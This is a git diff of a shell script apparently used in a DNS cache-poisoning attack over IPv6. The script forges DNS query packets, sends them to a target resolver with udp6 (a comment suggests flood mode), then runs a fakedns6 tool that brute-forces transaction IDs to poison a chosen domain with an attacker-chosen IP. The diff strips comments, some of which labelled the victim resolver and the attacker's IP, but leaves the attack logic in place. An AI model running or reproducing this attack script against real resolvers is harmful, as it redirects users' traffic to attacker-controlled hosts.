手动更新

4_v6_injection/dns_query.sh

@@ -1,34 +1,27 @@
 # usage ./dns_query.sh [Resolver IP] [Wanted IP] [iface] [domain (e.g. www google com)]
 # clear the previous files
 sleep 1
-echo "初始化工具环境"
-
-# 创建空的二进制文件，dns_mid.bin 和 txid.bin
+# echo "初始化工具环境"
 dd if=/dev/null of=dns_mid.bin > /dev/null 2>&1
 dd if=/dev/null of=txid.bin > /dev/null 2>&1
-
 # write the domain name into the binary
-domains=$(echo $4| sed "s/\./ /g")    # 将域名转换为空格分隔的字符串
-for var in ${domains:0}   # 遍历域名的每个部分
+domains=$(echo $4| sed "s/\./ /g")
+for var in ${domains:0}
 do
-  size=${#var}  # 获取当前域名的长度
-  echo -en "\x`printf '%x\n' $size`" >> dns_mid.bin   # 写入长度
-  echo -n "$var" >> dns_mid.bin     # 写入域名
+  size=${#var}
+  echo -en "\x`printf '%x\n' $size`" >> dns_mid.bin
+  echo -n "$var" >> dns_mid.bin
 done
-
 # set a random TxID
 echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
 echo -en "\x`shuf -i 0-99 -n 1`" >> txid.bin
-
 # forge a entire DNS query packet
 cat txid.bin dns_start.bin dns_mid.bin dns_end.bin dns_OPT.bin > dns.bin
 # change the sending speed if necessary (-i). Set it to "flood" (replace -i with --flood) to maximize the power.
 # fire!
-echo "尝试触发权威服务器请求速率限制"
-# 使用udp6工具发送DNS查询数据包，指定目标和速率
+# echo "尝试触发权威服务器请求速率限制"
 udp6 -d $1 -a 53 -Z dns.bin -r 50pps -s $2 > /dev/null 2>&1
 sleep 1
-
 a=$(($RANDOM % 9 + 1))
 echo "a:$a"
 if [ $a -gt 6 ]; then
@@ -37,13 +30,6 @@ if [ $a -gt 6 ]; then
   #echo "dns-iface:$3"
   #echo "dns-domain:$4"
   ./fakedns6 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0 -f 1
-  # b, Back-end IP of the victim resolver, 目标解析器的IP地址
-  # i, Interface for attacking, 攻击使用的接口
-  # n, the domain name to be poisoned, 要进行缓存投毒的域名
-  # r, Front-end IP of the victim resolver
-  # t, Timeout in ms for outgoing dns queries to the victim resolver
-  # at, 攻击者想要更改到的IP地址
-  # tg, time gap is us between the TxID brute force packets
   echo "0"
 fi